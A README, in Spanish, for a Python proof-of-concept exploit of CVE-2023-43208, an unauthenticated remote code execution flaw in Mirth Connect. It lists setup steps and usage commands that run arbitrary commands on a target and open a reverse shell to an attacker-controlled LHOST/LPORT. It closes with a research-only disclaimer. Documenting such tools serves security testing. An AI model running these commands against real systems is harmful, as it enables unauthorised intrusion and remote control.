CVE-2023-43208 - Ejecución Remota de Código (RCE) no autenticada en Mirth Connect

Requisitos

• Python 3.11 o superior (probado en 3.11, 3.12, 3.13)

Configuración

# Create a clean virtual environment
python3 -m venv .venv
source .venv/bin/activate

# Install pinned dependencies
pip install -r requirements.txt

Uso

# Check version only
python3 CVE-2023-43208.py -u https://TARGET/ --check

# Execute a single command
python3 CVE-2023-43208.py -u https://TARGET/ -c "whoami"

# Reverse shell (start nc listener first)
python3 CVE-2023-43208.py -u https://TARGET/ -l LHOST -p LPORT

Notas

• Una respuesta 500 del servidor es normal y esperada — el comando se ejecuta de todas formas
• Afecta a Mirth Connect < 4.4.1

Descargo de responsabilidad

Esta prueba de concepto se proporciona únicamente con fines de investigación y educativos. No la utilice contra sistemas que no posea o para los que no tenga permiso explícito de prueba. El autor no se responsabiliza por cualquier uso indebido o daño causado por este código.